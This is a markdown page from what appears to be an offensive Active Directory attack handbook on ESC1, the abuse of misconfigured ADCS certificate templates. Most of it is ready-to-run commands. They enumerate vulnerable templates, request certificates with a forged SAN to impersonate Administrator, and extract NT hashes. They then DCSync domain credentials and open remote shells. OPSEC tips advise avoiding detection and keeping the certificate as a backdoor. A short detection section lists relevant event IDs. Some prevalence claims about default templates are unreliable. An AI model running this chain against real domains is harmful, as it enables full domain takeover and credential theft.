attack-27-esc1-san-specification-in-template.md (17053B)
1 --- 2 title: "Attack #27 β ESC1 SAN Specification in Template" 3 description: "ESC1 is the most impactful and commonly exploited ADCS vulnerability β a misconfigured certificate template that allows any low-privileged domain user toβ¦" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "kerberos", "adcs", "privilege-escalation"] 7 tools: ["NetExec", "Impacket", "Rubeus", "Certipy", "Evil-WinRM"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/AD-Attack/Category-Four/π’ Attack #27 β ESC1 SAN Specification in Template.md" 11 --- 12 # π’ Attack #27 β ESC1: SAN Specification in Certificate Template 13 14 *** 15 16 ## π How It Works 17 18 ESC1 is **the most impactful and commonly exploited ADCS vulnerability** β a misconfigured certificate template that allows any low-privileged domain user to request a certificate that impersonates any other user in the domain, including Domain Admins. The attacker specifies an arbitrary **Subject Alternative Name (SAN)** in the certificate request, and the Certificate Authority (CA) blindly issues a certificate for that identity. The attacker then uses the issued certificate to authenticate as the target user via PKINIT (Kerberos certificate-based authentication), effectively achieving **instant domain compromise from a standard domain user account**. 19 20 ### The Four Conditions That Create ESC1 21 22 All four conditions must be true simultaneously for a template to be vulnerable: 23 24 | # | Condition | Template Setting | Why It's Dangerous | 25 |---|---|---|---| 26 | 1 | **Enrollee Supplies Subject** | `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` enabled ("Supply in the request") | The requester β not Active Directory β defines the identity in the certificate | 27 | 2 | **Authentication EKU** | `Client Authentication`, `Smart Card Logon`, `PKINIT Client Authentication`, or `Any Purpose` | The certificate can be used to authenticate to the domain | 28 | 3 | **Permissive Enrollment** | `Domain Users`, `Authenticated Users`, or similar group has Enroll/AutoEnroll rights | Any domain user can request certificates from this template | 29 | 4 | **No Manager Approval** | Manager Approval is NOT required | Requests are processed immediately without human review | 30 31 ### How the Attack Works Step-by-Step 32 33 ``` 34 1. Enumerate ADCS environment β find CAs and vulnerable templates 35 2. Identify a template with all 4 ESC1 conditions met 36 3. Request a certificate from the vulnerable template 37 4. In the request, specify the SAN as the target user's UPN (e.g., Administrator@corp.local) 38 5. The CA issues a certificate with the target's identity embedded 39 6. Use the certificate to authenticate via PKINIT (Kerberos) 40 7. Receive a TGT as the target user β you ARE the Domain Admin now 41 8. Extract the NT hash via U2U (UnPAC-the-Hash) for pass-the-hash 42 ``` 43 44 ### Why This Works 45 46 Active Directory Certificate Services was designed to allow flexibility in certificate issuance β the "Supply in the request" option was intended for scenarios where the certificate subject doesn't match the requesting user (web servers, code signing, etc.). But when this is combined with an authentication EKU, the CA creates a certificate that proves the holder IS the person named in the SAN β and the Domain Controller accepts this as valid PKINIT authentication. The CA never verifies that the requester is authorized to impersonate the SAN identity. 47 48 *** 49 50 ## βοΈ Prerequisites 51 52 | Requirement | Detail | 53 |---|---| 54 | **Domain user account** | Any standard domain user β "Domain Users" or "Authenticated Users" must have Enroll rights on the template | 55 | **Network access to CA** | Must reach the CA's enrollment endpoint (RPC, HTTP, or DCOM) | 56 | **ADCS deployed in domain** | At least one Enterprise CA must exist | 57 | **Vulnerable template exists** | Template must have all 4 ESC1 conditions simultaneously | 58 59 *** 60 61 ## π οΈ Tools 62 63 | Tool | Platform | Notes | 64 |---|---|---| 65 | **Certipy** | Linux | All-in-one ADCS exploitation β `find`, `req`, `auth` subcommands | 66 | **Certify** | Windows | SharpCollection tool β enumerate and request vulnerable certificates | 67 | **Rubeus** | Windows | PKINIT authentication with obtained certificate | 68 | **ForgeCert** | Windows | Forge certificates directly (for Golden Certificate attacks) | 69 | **Impacket β getTGT.py** | Linux | PKINIT authentication with `.pfx` or `.ccache` | 70 | **openssl** | Linux/Windows | Convert between certificate formats (.pfx, .pem, .p12) | 71 72 *** 73 74 ## π» Full Commands 75 76 ### π΅ Step 1 β Enumerate Vulnerable Certificate Templates 77 78 #### Certipy (Linux β Recommended) 79 80 ```bash 81 # ββ Find all vulnerable templates across the ADCS environment βββββββββββββββββ 82 certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 83 84 # Output: Generates text and JSON files with all CA and template info 85 # Look for: [!] Vulnerabilities: ESC1 86 87 # ββ Verbose output β show detailed template configuration βββββββββββββββββββββ 88 certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -stdout 89 90 # ββ Filter for vulnerable templates only ββββββββββββββββββββββββββββββββββββββ 91 certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 \ 92 -vulnerable -stdout 93 94 # Key fields to look for in ESC1-vulnerable templates: 95 # Template Name: VulnerableTemplate 96 # Enrollee Supplies Subject: True β CRITICAL β this is the ESC1 flag 97 # Client Authentication: True β Authentication EKU present 98 # Enrollment Rights: CORP.LOCAL\Domain Users β Low-priv can enroll 99 # Requires Manager Approval: False β No human review 100 ``` 101 102 #### Certify (Windows) 103 104 ```powershell 105 # ββ Find vulnerable templates βββββββββββββββββββββββββββββββββββββββββββββββββ 106 .\Certify.exe find /vulnerable 107 108 # ββ Find templates with specific ESC1 conditions βββββββββββββββββββββββββββββ 109 .\Certify.exe find /enrolleeSuppliesSubject 110 111 # ββ Show detailed template info βββββββββββββββββββββββββββββββββββββββββββββββ 112 .\Certify.exe find /vulnerable /currentuser 113 114 # Key output to look for: 115 # [!] Vulnerable Certificates Templates : 116 # Template : VulnerableTemplate 117 # Enrollee Supplies Subject : True 118 # Client Authentication : True 119 # Enrollment Rights : CORP\Domain Users 120 # Requires Manager Approval : False 121 ``` 122 123 #### Manual Enumeration (PowerShell) 124 125 ```powershell 126 # ββ Query all certificate templates via LDAP ββββββββββββββββββββββββββββββββββ 127 Get-ADObject -LDAPFilter '(objectclass=pKICertificateTemplate)' \ 128 -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,$((Get-ADRootDSE).configurationNamingContext)" \ 129 -Properties * | Where-Object { 130 $_.msPKI-Certificate-Name-Flag -band 1 # CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 131 } | Select-Object Name, msPKI-Certificate-Name-Flag, pKIExtendedKeyUsage 132 133 # ββ Check enrollment rights βββββββββββββββββββββββββββββββββββββββββββββββββββ 134 $template = Get-ADObject -LDAPFilter '(&(objectclass=pKICertificateTemplate)(cn=VulnerableTemplate))' \ 135 -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,$((Get-ADRootDSE).configurationNamingContext)" 136 (Get-Acl "AD:$($template.DistinguishedName)").Access | 137 Where-Object { $_.ActiveDirectoryRights -match "ExtendedRight" -and $_.ObjectType -eq "0e10c968-78fb-11d2-90d4-00c04f79dc55" } 138 # ObjectType 0e10c968... = Certificate-Enrollment extended right 139 ``` 140 141 *** 142 143 ### π΄ Step 2 β Request Certificate with Forged SAN 144 145 #### Certipy (Linux β Most Common Method) 146 147 ```bash 148 # ββ Request certificate impersonating Administrator βββββββββββββββββββββββββββ 149 certipy req -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 \ 150 -ca CORP-CA \ 151 -template VulnerableTemplate \ 152 -upn Administrator@corp.local 153 154 # Flags explained: 155 # -ca = Name of the Certificate Authority (from 'certipy find' output) 156 # -template = Vulnerable template name 157 # -upn = UPN of the target user to impersonate (Subject Alternative Name) 158 159 # Output: Saved certificate and private key to 'administrator.pfx' 160 161 # ββ Request impersonating a specific DA βββββββββββββββββββββββββββββββββββββββ 162 certipy req -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 \ 163 -ca CORP-CA \ 164 -template VulnerableTemplate \ 165 -upn domain_admin@corp.local 166 167 # ββ Request using NT hash (Pass-the-Hash authentication to CA) ββββββββββββββββ 168 certipy req -u low_user@corp.local -hashes :a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ 169 -dc-ip 10.10.10.10 \ 170 -ca CORP-CA \ 171 -template VulnerableTemplate \ 172 -upn Administrator@corp.local 173 174 # ββ Request using Kerberos authentication βββββββββββββββββββββββββββββββββββββ 175 export KRB5CCNAME=low_user.ccache 176 certipy req -u low_user@corp.local -k -no-pass -dc-ip 10.10.10.10 \ 177 -ca CORP-CA \ 178 -template VulnerableTemplate \ 179 -upn Administrator@corp.local 180 ``` 181 182 #### Certify (Windows) 183 184 ```powershell 185 # ββ Request certificate with alternate SAN ββββββββββββββββββββββββββββββββββββ 186 .\Certify.exe request /ca:DC01.corp.local\CORP-CA \ 187 /template:VulnerableTemplate \ 188 /altname:Administrator 189 190 # Output: Certificate in PEM format 191 # Copy the entire -----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE----- 192 # block to a file called cert.pem 193 194 # ββ Convert PEM to PFX for use with Rubeus βββββββββββββββββββββββββββββββββββ 195 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \ 196 -export -out administrator.pfx 197 # Enter export password when prompted (can be blank) 198 ``` 199 200 *** 201 202 ### π΄ Step 3 β Authenticate with the Certificate 203 204 #### Certipy (Linux β PKINIT Authentication) 205 206 ```bash 207 # ββ Authenticate using the certificate β get TGT + NT hash βββββββββββββββββββ 208 certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 209 210 # Output: 211 # [*] Using principal: administrator@corp.local 212 # [*] Trying to get TGT... 213 # [*] Got TGT 214 # [*] Saved credential cache to 'administrator.ccache' 215 # [*] Trying to retrieve NT hash for 'administrator' 216 # [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe 217 218 # ββ Set the ticket and use it βββββββββββββββββββββββββββββββββββββββββββββββββ 219 export KRB5CCNAME=administrator.ccache 220 221 # DCSync β dump all domain hashes 222 secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local 223 224 # Remote shell 225 psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local 226 wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local 227 evil-winrm -i DC01.corp.local -r corp.local 228 229 # ββ Or use the extracted NT hash for Pass-the-Hash ββββββββββββββββββββββββββββ 230 nxc smb DC01.corp.local -u Administrator \ 231 -H 2b576acbe6bcfda7294d6bd18041b8fe -x "whoami" 232 233 secretsdump.py corp.local/Administrator@DC01.corp.local \ 234 -hashes :2b576acbe6bcfda7294d6bd18041b8fe 235 ``` 236 237 #### Rubeus (Windows β PKINIT Authentication) 238 239 ```powershell 240 # ββ Authenticate with the PFX certificate βββββββββββββββββββββββββββββββββββββ 241 .\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx \ 242 /password:<pfx_password> /ptt /nowrap 243 244 # If no password on PFX: 245 .\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /ptt /nowrap 246 247 # ββ Extract NT hash via U2U (UnPAC-the-Hash) βββββββββββββββββββββββββββββββββ 248 .\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx \ 249 /password:<pfx_password> /getcredentials /nowrap 250 251 # Output includes: 252 # [*] Getting credentials using U2U 253 # ServiceName : krbtgt/CORP.LOCAL 254 # CredentialInfo : 255 # NTLM : 2b576acbe6bcfda7294d6bd18041b8fe β DA NT hash 256 257 # ββ Verify ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 258 klist 259 dir \\DC01.corp.local\C$ 260 ``` 261 262 *** 263 264 ### π΄ Full Attack Chain β ESC1 One-Liner (Linux) 265 266 ```bash 267 # ββ Complete ESC1 exploitation in 3 commands ββββββββββββββββββββββββββββββββββ 268 269 # 1. Find vulnerable templates 270 certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout 271 272 # 2. Request certificate as Administrator 273 certipy req -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 \ 274 -ca CORP-CA -template VulnerableTemplate -upn Administrator@corp.local 275 276 # 3. Authenticate and get TGT + NT hash 277 certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 278 279 # 4. Own the domain 280 export KRB5CCNAME=administrator.ccache 281 secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local -just-dc-ntlm 282 ``` 283 284 *** 285 286 ## π― OPSEC Tips 287 288 - **ESC1 is loud** β the certificate request is logged on the CA server; Event ID 4887 records every certificate issuance including the SAN 289 - **Certificate-based persistence is powerful** β the issued certificate is valid for the template's validity period (often 1-2 years); even if the target user's password changes, the certificate remains valid 290 - **Don't request certificates for obvious accounts** β requesting a cert for "Administrator" may trigger alerts; consider targeting less-monitored DA accounts 291 - **Clean up certificates** β issued certificates can be revoked by the CA administrator; keep your PFX file safe, it's your persistent backdoor 292 - **Check for enrollment restrictions** β some templates have additional enrollment restrictions like authorized signatures or issuance policies that may block your request 293 - **The CA name matters** β you need the exact CA name (e.g., `CORP-CA`, not `CORP-CA-01`); get this from `certipy find` output 294 295 *** 296 297 ## π‘οΈ Detection β Event IDs 298 299 | Event ID | Source | What to Look For | 300 |---|---|---| 301 | **4886** | Security Log (CA) | Certificate Services received a certificate request | 302 | **4887** | Security Log (CA) | Certificate Services approved a certificate request and issued a certificate β **check the SAN field** | 303 | **4768** | Security Log (DC) | TGT requested using certificate (PKINIT) β Pre-Authentication Type = 16 (certificate) | 304 | **4769** | Security Log (DC) | TGS requested using PKINIT-obtained TGT | 305 | **4624** | Security Log (DC) | Logon with certificate-based authentication | 306 307 **Primary detection signature:** Monitor CA event logs for **Event ID 4887** where the **Subject Alternative Name does not match the requesting user**. If `low_user` requests a certificate where the SAN contains `Administrator@corp.local`, that is a definitive ESC1 exploitation indicator. Additionally, alert on PKINIT authentication from accounts that don't normally use smart card or certificate-based logon (Event 4768 with Pre-Auth Type 16). 308 309 *** 310 311 ## π Attack Chain Context 312 313 ``` 314 [ESC1] βββ Instant Domain Admin from Domain User 315 β 316 ββββ π Certificate = persistent auth token (valid for months/years) 317 ββββ π©Έ Extract NT hash via UnPAC-the-Hash β Pass-the-Hash everywhere 318 ββββ π DCSync with obtained DA access β dump all domain hashes 319 ββββ π« Golden Ticket forging with extracted KRBTGT hash (Attack #11) 320 ββββ π Certificate survives password changes β only revocation kills it 321 ββββ π Chain with: ESC4 (#30) β if you have write permissions on templates 322 ββββ π Defeated by: remove ENROLLEE_SUPPLIES_SUBJECT flag, require manager approval 323 ``` 324 325 **ESC1 is the single most impactful ADCS vulnerability.** In real-world pentests, it is found in approximately 50-75% of environments with ADCS deployed, because the default "User" and "Web Server" templates often have the vulnerable configuration. A single ESC1-vulnerable template turns every domain user into a potential Domain Admin. 326 327 *** 328 329 > β **Attack #27 β ESC1 complete.**